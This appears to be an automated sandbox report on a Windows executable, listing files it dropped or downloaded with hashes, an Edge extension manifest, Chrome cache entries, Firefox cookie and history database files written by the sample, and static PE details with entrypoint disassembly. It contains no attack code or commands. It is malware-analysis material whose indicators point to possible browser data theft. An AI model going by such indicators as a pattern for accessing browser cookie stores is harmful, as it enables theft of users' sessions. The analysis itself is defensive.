SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1958260108\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1958260108\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1958260108\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5923)
Category:	downloaded
Size (bytes):	5928
Entropy (8bit):	5.803705361162204
Encrypted:	false
SSDEEP:	96:wgzili7BIN6666VscbwsewqGKj05x1jgTmA/z7PWYP3iA9zheDFd66666bhvXtBu:wgzQACN6666VZwsewZC05x1+mAL7ffrQ
MD5:	BF222D1673C586DFBD5BAF922F099E22
SHA1:	979F8465CBA36CDD7B18E21E57A8D43AEC8D4EE5
SHA-256:	B7B42BC6160ECF0ED9FCE61487B96359B471829DEBB33280278AB7984ED403C1
SHA-512:	49E17C8003F55EF665F0F295410A7CE99D660F09FDA04776BC4F9B1C720E599E246987B5324ED8D275AC272DEB8F1E3D635A89D5A2966F4EAE290D4497EF2A89
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["matt rempe","animal crossing pocket camp complete","black ops zombies best guns","target thanksgiving meal deal","hurricanes tropical storms","lakers vs phoenix suns box score","tekken 8 update patch notes","xenoblade chronicles x switch"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"Cg0vZy8xMWZyZ3djODE2EhpDYW5hZGlhbiBpY2UgaG9ja2V5IGNlbnRyZTL/EWRhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBRUFBUUFNQklnQUNFUUVERVFIL3hBQVpBQUFEQVFFQkFBQUFBQUFBQUFBQUFBQUVCUVlEQndEL3hBQTBFQUFDQWdFREFnVUNCQU1KQUFBQUFBQUJBZ01FRVFBRklSSXhCaE5CVVdFaWNTT0JrYUVVRlRNSEpDWXlRbUxCMGVIL3hBQVpBUUFEQVFFQkF

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133762
Entropy (8bit):	5.436465682050423
Encrypted:	false
SSDEEP:	3072:2Pdvjxd0QniyZ+qQf4VBNQ0pq8vx7U+OUaKszQ:Edvv0yTVBNQ0pDvxI+ORQ
MD5:	AAAD7417E14EF443547B17FA16142430
SHA1:	20C9037AC31FF0EB86F4C64A2292095A0FAB42E0
SHA-256:	2E80DD9248CD0ED0933FF01DAE210FF1CC0233C026473C0ED568C63512181FB7
SHA-512:	1F01745AB26A1D6BEF6334518AE7BDB7CA442BD13219A27DB3912597EB7F542FEDD973CC2A2B917E269E47E9DFA44B2C504A2A08CAA92572DF4DADB86A0186E7
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.958934058149587
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'119'168 bytes
MD5:	105c8a7e9d2a376932bbac2a96952e8a
SHA1:	f479a80f8ad29f0339a6e2e5fd3a764d4bdcdf50
SHA256:	cd297aefd6cdf69e41926145a0e80e76e5c5c4b9d1922cace8955337a227cfa5
SHA512:	680c6bece18a32075f01f98a5649f204cd2b565ca8521f601901948416b64eab6c86dea32f88417618c26226b199880f56f28b56e811f1cd8c84b23c8a9d5974
SSDEEP:	49152:hE727l7jryHeTmKNO743xxz4Go5vUj+QjBWVwq9B0LGoGd1:hP7l7jLTTY74v+ZUj+oewqnyG3
TLSH:	67A533C305D935F2D8992E7F2A99C2712E3768D9E43F915F849AE45801D3002EB3DAB3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb21000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F176086269Ah
sysenter
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F1760864695h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

